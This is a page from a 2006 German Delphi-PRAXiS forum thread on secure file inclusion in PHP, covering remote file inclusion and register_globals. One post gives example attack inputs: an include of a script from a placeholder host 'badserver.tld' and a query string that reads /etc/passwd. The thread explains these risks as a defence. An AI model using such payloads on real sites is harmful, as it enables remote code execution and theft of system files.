Delphi-PRAXiS
Seite 2 von 2     12   

Delphi-PRAXiS (https://www.delphipraxis.net/forum.php)
-   Programmieren allgemein (https://www.delphipraxis.net/40-programmieren-allgemein/)
-   -   [PHP] - Sicheres Includen (https://www.delphipraxis.net/75082-%5Bphp%5D-sicheres-includen.html)

alcaeus 14. Aug 2006 16:21

Re: [PHP] - Sicheres Includen
 
Zitat:

Zitat von faux
alcaeus, was genau verstehst du unter RFI?

Meine eigene Abkuerzung fuer Remote-File-Inclusion. Ich bin zu faul das auszuschreiben :P

Greetz
alcaeus

generic 15. Aug 2006 16:05

Re: [PHP] - Sicheres Includen
 
$_SERVER['DOCUMENT_ROOT']
^ ist ein array welches überschrieben werden kann.

$Sec.$Site;
^ sind variablen welche überschrieben werden können.

besonders gefährlich im zusammenhang mit register_globals on!

nimm eine constante also etwas was mit define definiert wird - einmalig.

omata 15. Aug 2006 18:48

Re: [PHP] - Sicheres Includen
 
Mal ein ganz anderer Ansatz...

Wenn man HTML und PHP Code nicht mischt sondern alles in PHP codet. Das heisst es gibt keine echos oder sonstige Ausgaben in den includeten Dateien und man schreibt alles objectorientiert, dann kann man ruhig eine dieser Dateien aufrufen. Im Browser kommt dann nur noch eine leere Seite an.

In meinen PHP-Anwendungen gibt es so nur eine echo-Zeile, am Ende und im Hauptscript.

Gruss
Thorsten

alcaeus 16. Aug 2006 12:05

Re: [PHP] - Sicheres Includen
 
Zitat:

Zitat von omata
Wenn man HTML und PHP Code nicht mischt sondern alles in PHP codet. Das heisst es gibt keine echos oder sonstige Ausgaben in den includeten Dateien und man schreibt alles objectorientiert, dann kann man ruhig eine dieser Dateien aufrufen. Im Browser kommt dann nur noch eine leere Seite an.

Das ist ja nicht das Problem. Das Problem ist, dass du alles moegliche includen kannst. Nehmen wir mal sowas:
Code:
include('http://badserver.tld/badscript.txt');
Der Code ladet bei aktivem allow_url_fopen den Inhalt von badscript.txt und fuehrt ihn anschliessend aus. Das ist...suboptimal.

Ein weiteres Problem:
Code:
mypage.php?include=/etc/passwd
Bei einem nicht optimal konfigurierten Server (und das kommt leider oefter vor als man glauben will) kannst du dir vorstellen was da passiert...

Greetz
alcaeus


Alle Zeitangaben in WEZ +1. Es ist jetzt 12:02 Uhr.
Seite 2 von 2     12   

Powered by vBulletin® Copyright ©2000 - 2025, Jelsoft Enterprises Ltd.
LinkBacks Enabled by vBSEO © 2011, Crawlability, Inc.
Delphi-PRAXiS (c) 2002 - 2023 by Daniel R. Wolf, 2024-2025 by Thomas Breitkreuz